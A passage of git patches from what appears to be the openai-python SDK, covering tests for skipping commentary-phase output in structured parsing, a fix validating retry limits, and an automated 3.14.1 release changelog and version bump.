+ part = message["content"][0]
+ events.extend(
+ [
+ {
+ "type": "response.output_item.added",
+ "output_index": index,
+ "item": {**message, "status": "in_progress", "content": []},
+ },
+ {
+ "type": "response.content_part.added",
+ "output_index": index,
+ "content_index": 0,
+ "part": {**part, "text": ""},
+ },
+ {
+ "type": "response.output_text.delta",
+ "output_index": index,
+ "content_index": 0,
+ "item_id": message["id"],
+ "delta": part["text"],
+ "logprobs": [],
+ },
+ {
+ "type": "response.output_text.done",
+ "output_index": index,
+ "content_index": 0,
+ "item_id": message["id"],
+ "text": part["text"],
+ "logprobs": [],
+ },
+ {"type": "response.output_item.done", "output_index": index, "item": message},
+ ]
+ )
+ if index == 0:
+ events.extend(
+ [
+ {"type": "response.output_item.added", "output_index": 1, "item": tool},
+ {"type": "response.output_item.done", "output_index": 1, "item": tool},
+ ]
+ )
+ response = _response([messages[0], tool, messages[1]])
+ if completion == "null":
+ response["output"] = None
+ elif completion == "missing":
+ del response["output"]
+ elif completion == "empty":
+ response["output"] = []
+ events.append({"type": "response.completed", "response": response})
+ return events
+
+
+async def _stream(
+ sync: bool, events: list[dict[str, Any]]
+) -> tuple[list[ResponseStreamEvent[Result]], ParsedResponse[Result]]:
+ body = "".join(f"data: {json.dumps({**event, 'sequence_number': i})}\n\n" for i, event in enumerate(events))
+ transport = _transport(httpx2.Response(200, content=body, headers={"content-type": "text/event-stream"}))
+ if sync:
+ with OpenAI(api_key="fake-test-key", http_client=httpx2.Client(transport=transport)) as client:
+ with client.responses.stream(model="test-model", input="test", text_format=Result) as stream:
+ return list(stream), stream.get_final_response()
+ async with AsyncOpenAI(api_key="fake-test-key", http_client=httpx2.AsyncClient(transport=transport)) as client:
+ async with client.responses.stream(model="test-model", input="test", text_format=Result) as stream:
+ emitted = [event async for event in stream]
+ return emitted, await stream.get_final_response()
+
+
+@pytest.mark.parametrize("sync", [True, False], ids=["sync", "async"])
+@pytest.mark.parametrize("phase", ["final_answer", None, "missing"])
+@pytest.mark.parametrize("commentary", [None, "Preparing.", '{"answer":"intermediate"}'])
+@pytest.mark.parametrize("intermediate_phase", NON_FINAL_PHASES)
+async def test_parse_skips_commentary(
+ sync: bool, phase: str | None, commentary: str | None, intermediate_phase: str
+) -> None:
+ output = [_message('{"answer":"final"}', phase)]
+ if commentary is not None:
+ output.insert(0, _message(commentary, intermediate_phase))
+ response = await _parse(sync, output)
+ assert response.output_parsed == Result(answer="final")
+ assert response.output_text == (commentary or "") + '{"answer":"final"}'
+ for actual, expected in zip(response.output, output, strict=True):
+ assert actual.type == "message"
+ assert actual.phase == expected.get("phase")
+ content = actual.content[0]
+ assert content.type == "output_text"
+ assert content.text == expected["content"][0]["text"]
+ assert content.annotations == []
+ assert content.parsed == (Result(answer="final") if actual.phase in (None, "final_answer") else None)
+
+
+@pytest.mark.parametrize("sync", [True, False], ids=["sync", "async"])
+@pytest.mark.parametrize("refusal", [False, True])
+async def test_parse_does_not_use_commentary_without_a_final_result(sync: bool, refusal: bool) -> None:
+ output = [_message('{"answer":"intermediate"}', "commentary")]
+ if refusal:
+ output.append({**_message(""), "content": [{"type": "refusal", "refusal": "Cannot comply"}]})
+ response = await _parse(sync, output)
+ assert response.output_parsed is None
+ assert response.output_text == '{"answer":"intermediate"}'
+ last_message = response.output[-1]
+ assert last_message.type == "message"
+ assert last_message.content[0].type == ("refusal" if refusal else "output_text")
+
+
+@pytest.mark.parametrize("sync", [True, False], ids=["sync", "async"])
+@pytest.mark.parametrize("text", ["not json", '{"wrong":"field"}'])
+@pytest.mark.parametrize("phase", ["final_answer", None])
+async def test_parse_still_rejects_invalid_final_output(sync: bool, text: str, phase: str | None) -> None:
+ with pytest.raises(ValidationError):
+ await _parse(sync, [_message('{"answer":"intermediate"}', "commentary"), _message(text, phase)])
+
+
+@pytest.mark.parametrize("sync", [True, False], ids=["sync", "async"])
+async def test_parse_preserves_unphased_selection_and_unstructured_text(sync: bool) -> None:
+ response = await _parse(sync, [_message('{"answer":"first"}', "missing"), _message('{"answer":"second"}', None)])
+ assert response.output_parsed == Result(answer="first")
+ response = await _parse(sync, [_message("Preparing.", "commentary"), _message("Done.")], text_format=omit)
+ assert response.output_parsed is None
+ assert response.output_text == "Preparing.Done."
+
+
+@pytest.mark.parametrize("sync", [True, False], ids=["sync", "async"])
+@pytest.mark.parametrize("commentary", ["Preparing.", '{"answer":"intermediate"}'])
+@pytest.mark.parametrize("completion", ["supplied", "null", "missing", "empty"])
+@pytest.mark.parametrize("intermediate_phase", NON_FINAL_PHASES)
+async def test_stream_skips_commentary_without_losing_events(
+ sync: bool, commentary: str, completion: str, intermediate_phase: str
+) -> None:
+ events = _events(commentary, '{"answer":"final"}', completion, commentary_phase=intermediate_phase)
+ emitted, final = await _stream(sync, events)
+ assert len(emitted) == len(events)
+ deltas = [event for event in emitted if event.type == "response.output_text.delta"]
+ assert [event.snapshot for event in deltas] == [commentary, '{"answer":"final"}']
+ done = [event for event in emitted if event.type == "response.output_text.done"]
+ assert [event.text for event in done] == [commentary, '{"answer":"final"}']
+ assert [event.parsed for event in done] == [None, Result(answer="final")]
+ completed = emitted[-1]
+ assert completed.type == "response.completed"
+ assert completed.response == final
+ assert final.output_parsed == (None if completion == "empty" else Result(answer="final"))
+ assert final.output_text == ("" if completion == "empty" else commentary + '{"answer":"final"}')
+ if completion != "empty":
+ assert final.output[0].type == "message"
+ assert final.output[0].content[0].type == "output_text"
+ assert final.output[0].content[0].parsed is None
+ assert final.output[1].type == "function_call"
+ assert final.output[1].arguments == "{}"
+
+
+@pytest.mark.parametrize("sync", [True, False], ids=["sync", "async"])
+async def test_stream_parses_completion_without_text_done_events(sync: bool) -> None:
+ events = _events("Preparing.", '{"answer":"final"}')
+ _, response = await _stream(sync, [events[0], events[-1]])
+ assert response.output_parsed == Result(answer="final")
+
+
+@pytest.mark.parametrize("sync", [True, False], ids=["sync", "async"])
+@pytest.mark.parametrize("completion_only", [False, True])
+@pytest.mark.parametrize("text", ["not json", '{"wrong":"field"}'])
+async def test_stream_still_rejects_invalid_final_output(sync: bool, completion_only: bool, text: str) -> None:
+ events = _events('{"answer":"intermediate"}', text)
+ if completion_only:
+ events = [events[0], events[-1]]
+ with pytest.raises(ValidationError):
+ await _stream(sync, events)
+
+
+@pytest.mark.parametrize("sync", [True, False], ids=["sync", "async"])
+@pytest.mark.parametrize("phase", [None, "missing", "final_answer"])
+async def test_stream_preserves_legacy_and_final_phase_parsing(sync: bool, phase: str | None) -> None:
+ events = _events("Preparing.", '{"answer":"final"}', final_phase=phase)
+ emitted, response = await _stream(sync, events)
+ done = [event for event in emitted if event.type == "response.output_text.done"]
+ assert [event.parsed for event in done] == [None, Result(answer="final")]
+ assert response.output_parsed == Result(answer="final")
+
+
+@pytest.mark.parametrize("sync", [True, False], ids=["sync", "async"])
+@pytest.mark.parametrize("streaming", [False, True], ids=["parse", "stream-completion"])
+@pytest.mark.parametrize("phase", NON_FINAL_PHASES)
+@pytest.mark.parametrize("final_kind", ["text", "refusal", "absent"])
+async def test_phase_selection_preserves_content(sync: bool, streaming: bool, phase: str, final_kind: str) -> None:
+ # Unknown phases probe forward compatibility; they do not represent a known live model.
+ intermediate = _message('{"answer":"intermediate"}', phase)
+ intermediate["content"].append({"type": "output_text", "text": "Still working.", "annotations": []})
+ output = [intermediate]
+ if final_kind != "absent":
+ final = _message('{"answer":"final"}')
+ if final_kind == "refusal":
+ final["content"] = [{"type": "refusal", "refusal": "Cannot comply"}]
+ output.extend([final, {**intermediate, "id": "msg_after_final"}])
+ if streaming:
+ _, response = await _stream(
+ sync,
+ [
+ {"type": "response.created", "response": _response([])},
+ {"type": "response.completed", "response": _response(output)},
+ ],
+ )
+ else:
+ response = await _parse(sync, output)
+ assert response.output_parsed == (Result(answer="final") if final_kind == "text" else None)
+ for actual, expected in zip(response.output, output, strict=True):
+ assert actual.type == "message"
+ assert actual.phase == expected["phase"]
+ for content, raw in zip(actual.content, expected["content"], strict=True):
+ if content.type == "output_text":
+ assert content.text == raw["text"]
+ assert content.parsed == (Result(answer="final") if actual.phase == "final_answer" else None)
+ else:
+ assert content.refusal == raw["refusal"]
From f86c7214093038faa512bd4883558b093bdb8c9a Mon Sep 17 00:00:00 2001
From: Marcus Wood
Date: Tue, 15 Sep 2026 22:32:06 +0000
Subject: [PATCH 152/341] fix(client): validate retry limits and preserve
application errors (#3867)
Validates non-negative integer retry limits, replaces infinity guidance
with a large-integer recommendation, and propagates application
exceptions without retrying. Retry logs now include attempt counts.
Default retry counts and backoff behavior are unchanged.
Closes #2737. Closes #2404.
Related proposals: #2739, #2956, #3804, #2460, #2491, and #3072. Also
relates to #3002 and #2962.
Validation: 1,147 tests passed (87 skipped); 144 focused Pydantic v1
tests passed. Ruff, Pyright, mypy, builds, and custom-code budget checks
passed. CI is pending on the updated commit. The previously observed
streaming error-message assertion failures reproduce on the base commit.
---
README.md | 7 ++
src/openai/_base_client.py | 27 +++++---
tests/test_client.py | 133 ++++++++++++++++++++++++++++++++++--
tests/test_debug_logging.py | 2 +-
4 files changed, 156 insertions(+), 13 deletions(-)
diff --git a/README.md b/README.md
index 40ad4c1ae6..18c13f6230 100644
--- a/README.md
+++ b/README.md
@@ -776,6 +776,13 @@ client.with_options(max_retries=5).chat.completions.create(
)
```
+`max_retries` must be a non-negative integer. `0` disables retries. Use a large
+integer, such as `1000`, for a larger retry budget. Other values raise an error
+before a request is sent.
+
+Transport failures are retried. Application exceptions raised by custom transports
+or hooks propagate unchanged, including task-executor cancellation signals.
+
## Timeouts
By default requests time out after 10 minutes. You can configure this with a `timeout` option,
diff --git a/src/openai/_base_client.py b/src/openai/_base_client.py
index ab98942e60..c85f4f3e76 100644
--- a/src/openai/_base_client.py
+++ b/src/openai/_base_client.py
@@ -65,6 +65,7 @@
from ._compat import PYDANTIC_V1, model_copy
from ._httpx2 import (
status_exceptions,
+ request_exceptions,
timeout_exceptions,
http_response_types,
normalize_httpx_url,
@@ -411,10 +412,7 @@ def __init__(
self._idempotency_header = None
self._platform: Platform | None = None
- if max_retries is None: # pyright: ignore[reportUnnecessaryComparison]
- raise TypeError(
- "max_retries cannot be None. If you want to disable retries, pass `0`; if you want unlimited retries, pass `math.inf` or a very high number; if you want the default behavior, pass `openai.DEFAULT_MAX_RETRIES`"
- )
+ self._validate_max_retries(max_retries)
def _enforce_trailing_slash(self, url: URL) -> URL:
if url.raw_path.endswith(b"/"):
@@ -788,6 +786,17 @@ def _parse_retry_after_header(self, response_headers: Optional[httpx2.Headers] =
return float(retry_date - time.time())
+ @staticmethod
+ def _validate_max_retries(value: object) -> None:
+ if value is None:
+ raise TypeError(
+ "max_retries cannot be None. Use 0 to disable retries or a large integer for a larger retry budget."
+ )
+ if not isinstance(value, int):
+ raise TypeError("max_retries must be a non-negative integer")
+ if value < 0:
+ raise ValueError("max_retries must be a non-negative integer")
+
def _calculate_retry_timeout(
self,
remaining_retries: int,
@@ -1047,6 +1056,7 @@ def request(
response: httpx2.Response | None = None
max_retries = input_options.get_max_retries(self.max_retries)
+ self._validate_max_retries(max_retries)
retries_taken = 0
for retries_taken in range(max_retries + 1):
@@ -1095,7 +1105,7 @@ def request(
except OpenAIError as err:
# Propagate OpenAIErrors as-is, without retrying or wrapping in APIConnectionError
raise err
- except Exception as err:
+ except request_exceptions() as err:
log.debug("Encountered exception: %s", type(err).__name__)
if remaining_retries > 0:
@@ -1162,7 +1172,7 @@ def _sleep_for_retry(
log.debug("%i retries left", remaining_retries)
timeout = self._calculate_retry_timeout(remaining_retries, options, response.headers if response else None)
- log.info("Retrying request in %f seconds", timeout)
+ log.info("Retrying request in %f seconds (retry %i of %s)", timeout, retries_taken + 1, max_retries)
time.sleep(timeout)
@@ -1671,6 +1681,7 @@ async def request(
response: httpx2.Response | None = None
max_retries = input_options.get_max_retries(self.max_retries)
+ self._validate_max_retries(max_retries)
retries_taken = 0
for retries_taken in range(max_retries + 1):
@@ -1718,7 +1729,7 @@ async def request(
except OpenAIError as err:
# Propagate OpenAIErrors as-is, without retrying or wrapping in APIConnectionError
raise err
- except Exception as err:
+ except request_exceptions() as err:
log.debug("Encountered exception: %s", type(err).__name__)
if remaining_retries > 0:
@@ -1785,7 +1796,7 @@ async def _sleep_for_retry(
log.debug("%i retries left", remaining_retries)
timeout = self._calculate_retry_timeout(remaining_retries, options, response.headers if response else None)
- log.info("Retrying request in %f seconds", timeout)
+ log.info("Retrying request in %f seconds (retry %i of %s)", timeout, retries_taken + 1, max_retries)
await anyio.sleep(timeout)
diff --git a/tests/test_client.py b/tests/test_client.py
index 3281add6d2..b77b78cb9d 100644
--- a/tests/test_client.py
+++ b/tests/test_client.py
@@ -4,6 +4,7 @@
import os
import sys
import json
+import math
import asyncio
import inspect
import dataclasses
@@ -1243,14 +1244,16 @@ def test_retrying_status_errors_doesnt_leak(self, respx2_mock: MockRouter, clien
@mock.patch("openai._base_client.BaseClient._calculate_retry_timeout", _low_retry_timeout)
@pytest.mark.respx2(base_url=base_url)
@pytest.mark.parametrize("failure_mode", ["status", "exception"])
+ @pytest.mark.parametrize("max_retries", [4, 10**100])
def test_retries_taken(
self,
client: OpenAI,
failures_before_success: int,
+ max_retries: int,
failure_mode: Literal["status", "exception"],
respx2_mock: MockRouter,
) -> None:
- client = client.with_options(max_retries=4)
+ client = client.with_options(max_retries=max_retries)
nb_retries = 0
@@ -1259,7 +1262,7 @@ def retry_handler(_request: httpx2.Request) -> httpx2.Response:
if nb_retries < failures_before_success:
nb_retries += 1
if failure_mode == "exception":
- raise RuntimeError("oops")
+ raise httpx2.ConnectError("oops")
return httpx2.Response(500)
return httpx2.Response(200)
@@ -2591,14 +2594,16 @@ async def test_retrying_status_errors_doesnt_leak(self, respx2_mock: MockRouter,
@mock.patch("openai._base_client.BaseClient._calculate_retry_timeout", _low_retry_timeout)
@pytest.mark.respx2(base_url=base_url)
@pytest.mark.parametrize("failure_mode", ["status", "exception"])
+ @pytest.mark.parametrize("max_retries", [4, 10**100])
async def test_retries_taken(
self,
async_client: AsyncOpenAI,
failures_before_success: int,
+ max_retries: int,
failure_mode: Literal["status", "exception"],
respx2_mock: MockRouter,
) -> None:
- client = async_client.with_options(max_retries=4)
+ client = async_client.with_options(max_retries=max_retries)
nb_retries = 0
@@ -2607,7 +2612,7 @@ def retry_handler(_request: httpx2.Request) -> httpx2.Response:
if nb_retries < failures_before_success:
nb_retries += 1
if failure_mode == "exception":
- raise RuntimeError("oops")
+ raise httpx2.ConnectError("oops")
return httpx2.Response(500)
return httpx2.Response(200)
@@ -3140,3 +3145,123 @@ def provider() -> str:
assert len(calls) == 2
assert provider_call_count == 1
+
+
+@pytest.mark.parametrize("is_async", [False, True])
+@pytest.mark.parametrize(
+ "max_retries,retry_after,failures,expected_delays",
+ [
+ (0, None, 1, []),
+ (2, None, 3, [0.5, 1]),
+ (10**100, None, 6, [0.5, 1, 2, 4, 8, 8]),
+ (10**100, "3", 2, [3, 3]),
+ ],
+)
+async def test_retry_limits_and_backoff(
+ is_async: bool,
+ max_retries: int,
+ retry_after: str | None,
+ failures: int,
+ expected_delays: list[float],
+ caplog: pytest.LogCaptureFixture,
+) -> None:
+ responses: list[httpx2.Response] = []
+
+ def handler(request: httpx2.Request) -> httpx2.Response:
+ assert request.headers["x-stainless-retry-count"] == str(len(responses))
+ response = httpx2.Response(
+ 500 if len(responses) < failures else 200,
+ json={},
+ headers={"retry-after": retry_after} if retry_after else {},
+ )
+ responses.append(response)
+ return response
+
+ transport = httpx2.MockTransport(handler)
+ client = (
+ AsyncOpenAI(api_key="fake-key", http_client=httpx2.AsyncClient(transport=transport))
+ if is_async
+ else OpenAI(api_key="fake-key", http_client=httpx2.Client(transport=transport))
+ )
+ caplog.set_level("DEBUG", logger="openai._base_client")
+ try:
+ with (
+ mock.patch("openai._base_client.random", return_value=0),
+ mock.patch("openai._base_client.time.sleep") as sync_sleep,
+ mock.patch("openai._base_client.anyio.sleep") as async_sleep,
+ ):
+ try:
+ # Exercise request-level limits independently of constructor/copy validation.
+ if isinstance(client, AsyncOpenAI):
+ await client.get("/test", cast_to=object, options={"max_retries": max_retries})
+ else:
+ client.get("/test", cast_to=object, options={"max_retries": max_retries})
+ except APIStatusError:
+ assert failures > max_retries
+ else:
+ assert failures <= max_retries
+ sleep = async_sleep if is_async else sync_sleep
+ assert [call.args[0] for call in sleep.call_args_list] == expected_delays
+ assert len(responses) == len(expected_delays) + 1
+ assert all(response.is_closed for response in responses)
+ messages = [record.getMessage() for record in caplog.records if record.levelname == "INFO"]
+ for attempt in range(1, len(expected_delays) + 1):
+ assert any(f"retry {attempt} of {max_retries}" in message for message in messages)
+ finally:
+ if isinstance(client, AsyncOpenAI):
+ await client.close()
+ else:
+ client.close()
+
+
+@pytest.mark.parametrize("is_async", [False, True])
+@pytest.mark.parametrize(
+ "error", [RuntimeError("application failed"), OSError("local failure"), asyncio.CancelledError()]
+)
+async def test_application_exceptions_are_not_retried(is_async: bool, error: BaseException) -> None:
+ calls = 0
+
+ def handler(_request: httpx2.Request) -> httpx2.Response:
+ nonlocal calls
+ calls += 1
+ raise error
+
+ transport = httpx2.MockTransport(handler)
+ client = (
+ AsyncOpenAI(api_key="fake-key", max_retries=1, http_client=httpx2.AsyncClient(transport=transport))
+ if is_async
+ else OpenAI(api_key="fake-key", max_retries=1, http_client=httpx2.Client(transport=transport))
+ )
+ try:
+ with pytest.raises(type(error)) as caught:
+ if isinstance(client, AsyncOpenAI):
+ await client.get("/test", cast_to=object)
+ else:
+ client.get("/test", cast_to=object)
+ assert caught.value is error
+ assert calls == 1
+ finally:
+ if isinstance(client, AsyncOpenAI):
+ await client.close()
+ else:
+ client.close()
+
+
+@pytest.mark.parametrize("is_async", [False, True])
+@pytest.mark.parametrize("value", [None, "2", -1, 2.5, 2.0, math.nan, math.inf, -math.inf])
+async def test_invalid_request_retry_limit(is_async: bool, value: Any) -> None:
+ client = AsyncOpenAI(api_key="fake-key") if is_async else OpenAI(api_key="fake-key")
+ error = ValueError if isinstance(value, int) else TypeError
+ try:
+ with pytest.raises(error, match="max_retries"):
+ client.with_options(max_retries=cast(Any, value))
+ with pytest.raises(error, match="max_retries"):
+ if isinstance(client, AsyncOpenAI):
+ await client.get("/test", cast_to=object, options={"max_retries": cast(Any, value)})
+ else:
+ client.get("/test", cast_to=object, options={"max_retries": cast(Any, value)})
+ finally:
+ if isinstance(client, AsyncOpenAI):
+ await client.close()
+ else:
+ client.close()
diff --git a/tests/test_debug_logging.py b/tests/test_debug_logging.py
index 86e337ce94..1a32143ae0 100644
--- a/tests/test_debug_logging.py
+++ b/tests/test_debug_logging.py
@@ -161,7 +161,7 @@ def handler(request: httpx2.Request) -> httpx2.Response:
if failure == "timeout":
raise httpx2.ReadTimeout(FAKE_SECRET, request=request)
if failure == "connection":
- raise RuntimeError(FAKE_SECRET)
+ raise httpx2.ConnectError(FAKE_SECRET)
return httpx2.Response(
500, json={"error": {"message": FAKE_SECRET}}, headers={"x-private": FAKE_SECRET, "retry-after-ms": "1"}
)
From 5bae14cb22724ef0a9db0d3a7fb7556d28b3fee3 Mon Sep 17 00:00:00 2001
From: "openai-sdks[bot]" <284451331+openai-sdks[bot]@users.noreply.github.com>
Date: Tue, 15 Sep 2026 23:08:38 +0000
Subject: [PATCH 153/341] release: 3.14.1 (#3856)
Automated Release PR
---
##
[3.14.1](https://github.com/openai/openai-python/compare/v3.14.0...v3.14.1)
(2026-09-15)
### Bug Fixes
* **client:** validate retry limits and preserve application errors
([#3867](https://github.com/openai/openai-python/issues/3867))
([f86c721](https://github.com/openai/openai-python/commit/f86c7214093038faa512bd4883558b093bdb8c9a))
* correct typo "th" to "the" in StreamAlreadyConsumed error message
([#3022](https://github.com/openai/openai-python/issues/3022))
([7186203](https://github.com/openai/openai-python/commit/718620397c38a546d2cbbc964983c286db7abf97))
* **examples:** correct Azure endpoint hostname
([#3298](https://github.com/openai/openai-python/issues/3298))
([543516c](https://github.com/openai/openai-python/commit/543516c4223372a7fb830d560f26d8e6ad081d02))
* **examples:** refresh chat streaming examples
([#2974](https://github.com/openai/openai-python/issues/2974))
([54f460e](https://github.com/openai/openai-python/commit/54f460ef8c212a7849d10cef69853dffb48c4491))
* **examples:** split push-to-talk shebang arguments
([#3210](https://github.com/openai/openai-python/issues/3210))
([d241ed6](https://github.com/openai/openai-python/commit/d241ed65c122a964679ca9d102924761956aa71f))
* **examples:** use uv in remaining Python launchers
([#3821](https://github.com/openai/openai-python/issues/3821))
([8c76c4f](https://github.com/openai/openai-python/commit/8c76c4f5e6ee65c6393e80494d2bbbdc8607e983))
* log only metadata for Live WebSocket diagnostics
([#3865](https://github.com/openai/openai-python/issues/3865))
([ccc10f5](https://github.com/openai/openai-python/commit/ccc10f595ff606cf007459aecae6ddc90d02794a))
* **responses:** skip structured parsing for commentary
([#3861](https://github.com/openai/openai-python/issues/3861))
([6520df1](https://github.com/openai/openai-python/commit/6520df1220a0030c7b45b00a6fa4bf2e9c7396ac))
### Chores
* **examples:** bump module_client.py to gpt-5.6
([#3211](https://github.com/openai/openai-python/issues/3211))
([1493321](https://github.com/openai/openai-python/commit/1493321affb1814fba7b669892e376a119d8d36f))
* remove unused fine-tuning data validators
([#3863](https://github.com/openai/openai-python/issues/3863))
([9640f29](https://github.com/openai/openai-python/commit/9640f2903d65c43f0e5aee58d60f46880ff0bd15))
### Documentation
* clarify async client cleanup
([#2388](https://github.com/openai/openai-python/issues/2388))
([a3d83b5](https://github.com/openai/openai-python/commit/a3d83b5af23e4057453aae83dcdb4e3cced1cdad))
* clarify filenames for in-memory file uploads
([#3729](https://github.com/openai/openai-python/issues/3729))
([cb27380](https://github.com/openai/openai-python/commit/cb27380d95f5e6995ea56dc588914454629cce0f))
* **client:** correct retry jitter comment
([#2252](https://github.com/openai/openai-python/issues/2252))
([bdbbc16](https://github.com/openai/openai-python/commit/bdbbc16a3f289601cb7cbcec9e64c94e95753e94))
* fix Realtime docstring wording
([#3535](https://github.com/openai/openai-python/issues/3535))
([8cb9ded](https://github.com/openai/openai-python/commit/8cb9dedabd03297816749fcadfa12ef3ebcd3ed8))
* fix reusing wording in Azure client docstrings
([#3061](https://github.com/openai/openai-python/issues/3061))
([dc625f9](https://github.com/openai/openai-python/commit/dc625f9533cb43e74aea53529c86d4848eed82ec))
* fix streaming comment typo
([#3005](https://github.com/openai/openai-python/issues/3005))
([d421d7a](https://github.com/openai/openai-python/commit/d421d7ab8c0a5e4e00147407ef9941c7f2bc9c09))
* fix vector store polling helper paths
([#3101](https://github.com/openai/openai-python/issues/3101))
([2ef2de6](https://github.com/openai/openai-python/commit/2ef2de6bf1603b2df8cb28bcc604c79c6e7f773d))
* **readme:** correct SSE terminology
([#2837](https://github.com/openai/openai-python/issues/2837))
([caaa9b4](https://github.com/openai/openai-python/commit/caaa9b45a24c7698244824cda2c2d9ae16359354))
* update Responses API reference link
([#3279](https://github.com/openai/openai-python/issues/3279))
([557bd06](https://github.com/openai/openai-python/commit/557bd06bce467e7f748b9c86bdde6427e85d28c7))
* **utils:** correct query component RFC reference
([#3300](https://github.com/openai/openai-python/issues/3300))
([929a8a5](https://github.com/openai/openai-python/commit/929a8a500a0e95df090ef53fe38890eba1e97660))
---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).
Co-authored-by: openai-sdks[bot] <284451331+openai-sdks[bot]@users.noreply.github.com>
---
.release-please-manifest.json | 2 +-
CHANGELOG.md | 34 ++++++++++++++++++++++++++++++++++
pyproject.toml | 2 +-
src/openai/_version.py | 2 +-
uv.lock | 2 +-
5 files changed, 38 insertions(+), 4 deletions(-)
diff --git a/.release-please-manifest.json b/.release-please-manifest.json
index 75e8a660b4..bec92bfa28 100644
--- a/.release-please-manifest.json
+++ b/.release-please-manifest.json
@@ -1,3 +1,3 @@
{
- ".": "3.14.0"
+ ".": "3.14.1"
}
\ No newline at end of file
diff --git a/CHANGELOG.md b/CHANGELOG.md
index 9b07bcc83f..a62e2b49f1 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -1,5 +1,39 @@
# Changelog
+## [3.14.1](https://github.com/openai/openai-python/compare/v3.14.0...v3.14.1) (2026-09-15)
+
+
+### Bug Fixes
+
+* **client:** validate retry limits and preserve application errors ([#3867](https://github.com/openai/openai-python/issues/3867)) ([f86c721](https://github.com/openai/openai-python/commit/f86c7214093038faa512bd4883558b093bdb8c9a))
+* correct typo "th" to "the" in StreamAlreadyConsumed error message ([#3022](https://github.com/openai/openai-python/issues/3022)) ([7186203](https://github.com/openai/openai-python/commit/718620397c38a546d2cbbc964983c286db7abf97))
+* **examples:** correct Azure endpoint hostname ([#3298](https://github.com/openai/openai-python/issues/3298)) ([543516c](https://github.com/openai/openai-python/commit/543516c4223372a7fb830d560f26d8e6ad081d02))
+* **examples:** refresh chat streaming examples ([#2974](https://github.com/openai/openai-python/issues/2974)) ([54f460e](https://github.com/openai/openai-python/commit/54f460ef8c212a7849d10cef69853dffb48c4491))
+* **examples:** split push-to-talk shebang arguments ([#3210](https://github.com/openai/openai-python/issues/3210)) ([d241ed6](https://github.com/openai/openai-python/commit/d241ed65c122a964679ca9d102924761956aa71f))
+* **examples:** use uv in remaining Python launchers ([#3821](https://github.com/openai/openai-python/issues/3821)) ([8c76c4f](https://github.com/openai/openai-python/commit/8c76c4f5e6ee65c6393e80494d2bbbdc8607e983))
+* log only metadata for Live WebSocket diagnostics ([#3865](https://github.com/openai/openai-python/issues/3865)) ([ccc10f5](https://github.com/openai/openai-python/commit/ccc10f595ff606cf007459aecae6ddc90d02794a))
+* **responses:** skip structured parsing for commentary ([#3861](https://github.com/openai/openai-python/issues/3861)) ([6520df1](https://github.com/openai/openai-python/commit/6520df1220a0030c7b45b00a6fa4bf2e9c7396ac))
+
+
+### Chores
+
+* **examples:** bump module_client.py to gpt-5.6 ([#3211](https://github.com/openai/openai-python/issues/3211)) ([1493321](https://github.com/openai/openai-python/commit/1493321affb1814fba7b669892e376a119d8d36f))
+* remove unused fine-tuning data validators ([#3863](https://github.com/openai/openai-python/issues/3863)) ([9640f29](https://github.com/openai/openai-python/commit/9640f2903d65c43f0e5aee58d60f46880ff0bd15))
+
+
+### Documentation
+
+* clarify async client cleanup ([#2388](https://github.com/openai/openai-python/issues/2388)) ([a3d83b5](https://github.com/openai/openai-python/commit/a3d83b5af23e4057453aae83dcdb4e3cced1cdad))
+* clarify filenames for in-memory file uploads ([#3729](https://github.com/openai/openai-python/issues/3729)) ([cb27380](https://github.com/openai/openai-python/commit/cb27380d95f5e6995ea56dc588914454629cce0f))
+* **client:** correct retry jitter comment ([#2252](https://github.com/openai/openai-python/issues/2252)) ([bdbbc16](https://github.com/openai/openai-python/commit/bdbbc16a3f289601cb7cbcec9e64c94e95753e94))
+* fix Realtime docstring wording ([#3535](https://github.com/openai/openai-python/issues/3535)) ([8cb9ded](https://github.com/openai/openai-python/commit/8cb9dedabd03297816749fcadfa12ef3ebcd3ed8))
+* fix reusing wording in Azure client docstrings ([#3061](https://github.com/openai/openai-python/issues/3061)) ([dc625f9](https://github.com/openai/openai-python/commit/dc625f9533cb43e74aea53529c86d4848eed82ec))
+* fix streaming comment typo ([#3005](https://github.com/openai/openai-python/issues/3005)) ([d421d7a](https://github.com/openai/openai-python/commit/d421d7ab8c0a5e4e00147407ef9941c7f2bc9c09))
+* fix vector store polling helper paths ([#3101](https://github.com/openai/openai-python/issues/3101)) ([2ef2de6](https://github.com/openai/openai-python/commit/2ef2de6bf1603b2df8cb28bcc604c79c6e7f773d))
+* **readme:** correct SSE terminology ([#2837](https://github.com/openai/openai-python/issues/2837)) ([caaa9b4](https://github.com/openai/openai-python/commit/caaa9b45a24c7698244824cda2c2d9ae16359354))
+* update Responses API reference link ([#3279](https://github.com/openai/openai-python/issues/3279)) ([557bd06](https://github.com/openai/openai-python/commit/557bd06bce467e7f748b9c86bdde6427e85d28c7))
+* **utils:** correct query component RFC reference ([#3300](https://github.com/openai/openai-python/issues/3300)) ([929a8a5](https://github.com/openai/openai-python/commit/929a8a500a0e95df090ef53fe38890eba1e97660))
+
## [3.14.0](https://github.com/openai/openai-python/compare/v3.13.0...v3.14.0) (2026-09-14)
diff --git a/pyproject.toml b/pyproject.toml
index a7e4f5c931..14ba9bd7dd 100644
--- a/pyproject.toml
+++ b/pyproject.toml
@@ -1,6 +1,6 @@
[project]
name = "openai"
-version = "3.14.0"
+version = "3.14.1"
description = "The official Python library for the openai API"
dynamic = ["readme"]
license = "Apache-2.0"
diff --git a/src/openai/_version.py b/src/openai/_version.py
index 6d92ce7071..1476ebf79b 100644
--- a/src/openai/_version.py
+++ b/src/openai/_version.py
@@ -1,2 +1,2 @@
__title__ = "openai"
-__version__ = "3.14.0" # x-release-please-version
+__version__ = "3.14.1" # x-release-please-version
diff --git a/uv.lock b/uv.lock
index 1fc72a186a..fdd92662a1 100644
--- a/uv.lock
+++ b/uv.lock
@@ -1524,7 +1524,7 @@ wheels = [
[[package]]
name = "openai"
-version = "3.14.0" # x-release-please-version
+version = "3.14.1" # x-release-please-version
source = { editable = "." }
dependencies = [
{ name = "anyio" },
From 2971aafce5c1966fc56efd00918b16314063284e Mon Sep 17 00:00:00 2001
From: Marcus Wood
Date: Tue, 15 Sep 2026 23:35:10 +0000
Subject: [PATCH 154/341] docs(realtime): remove nonexistent type imports
(#3869)
Removes 20 nonexistent types from the Realtime API reference import
example.
Verified that all 99 remaining imports execute successfully.
Documentation only; the custom-code budget check passes.
---
src/openai/resources/realtime/api.md | 20 --------------------
1 file changed, 20 deletions(-)
diff --git a/src/openai/resources/realtime/api.md b/src/openai/resources/realtime/api.md
